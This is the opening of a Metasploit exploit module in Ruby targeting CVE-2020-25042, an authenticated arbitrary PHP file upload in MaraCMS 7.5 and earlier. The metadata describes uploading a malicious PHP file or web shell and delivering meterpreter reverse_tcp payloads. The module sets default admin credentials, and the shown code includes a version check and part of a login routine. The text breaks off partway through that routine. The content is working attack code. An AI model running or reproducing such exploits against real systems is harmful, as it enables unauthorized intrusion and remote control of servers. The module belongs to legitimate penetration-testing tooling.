## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'MaraCMS Arbitrary PHP File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in MaraCMS 7.5 and prior in order to execute arbitrary commands. The module first attempts to authenticate to MaraCMS. It then tries to upload a malicious PHP file to the web root via an HTTP POST request to `codebase/handler.php.` If the `php` target is selected, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to this file. For the `linux` and `windows` targets, the module uploads a simple PHP web shell similar to ``. Subsequently, it leverages the CmdStager mixin to deliver the final payload via a series of HTTP GET requests to the PHP web shell. Valid credentials for a MaraCMS `admin` or `manager` account are required. This module has been successfully tested against MaraCMS 7.5 running on Windows Server 2012 (XAMPP server). }, 'License' => MSF_LICENSE, 'Author' => [ 'Michele Cisternino', # aka (0blio_) - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-25042'], ['EDB', '48780'] ], 'Payload' => { 'BadChars' => "\x00\x0d\x0a" }, 'Platform' => %w[linux win php], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP], 'Targets' => [ [ 'PHP', { 'Arch' => [ARCH_PHP], 'Platform' => 'php', 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Linux', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Windows', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-08-31', 'DefaultTarget' => 0 ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to MaraCMS', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'changeme']) ] end def check vprint_status('Running check') # visit /about.php to obtain MaraCMS version and cookies res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'about.php'), 'keep_cookies' => true }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Mara cms') return CheckCode::Safe('Target is not a MaraCMS application.') end html = res.get_html_document version_header = html.css('h1').text # obtain the h1 text, which for MaraCMS 7.5 is `Version 7.2 :: Production release` version = version_header.split(' ')[1] # grab the version number if version.blank? return CheckCode::Detected('Could not determine MaraCMS version.') end version = Gem::Version.new version unless version <= Gem::Version.new('7.2') # 7.2 is the version listed on the about page for MaraCMS 7.5 # MaraCMS no longer seems to be maintained, but the check below is added in case they every update it return CheckCode::Safe('Target is likely MaraCMS with a version higher than 7.5 and may not be vulnerable.') end return CheckCode::Appears('Target is most likely MaraCMS with version 7.5 or lower') end def login # visit login page in order to obtain `shash` value, which is necessary for authentication res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'login' => '' } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to authenticate.') end unless res.code == 200 && /shash='(?.*?)';/ =~ res.body # obtain shash value from inside a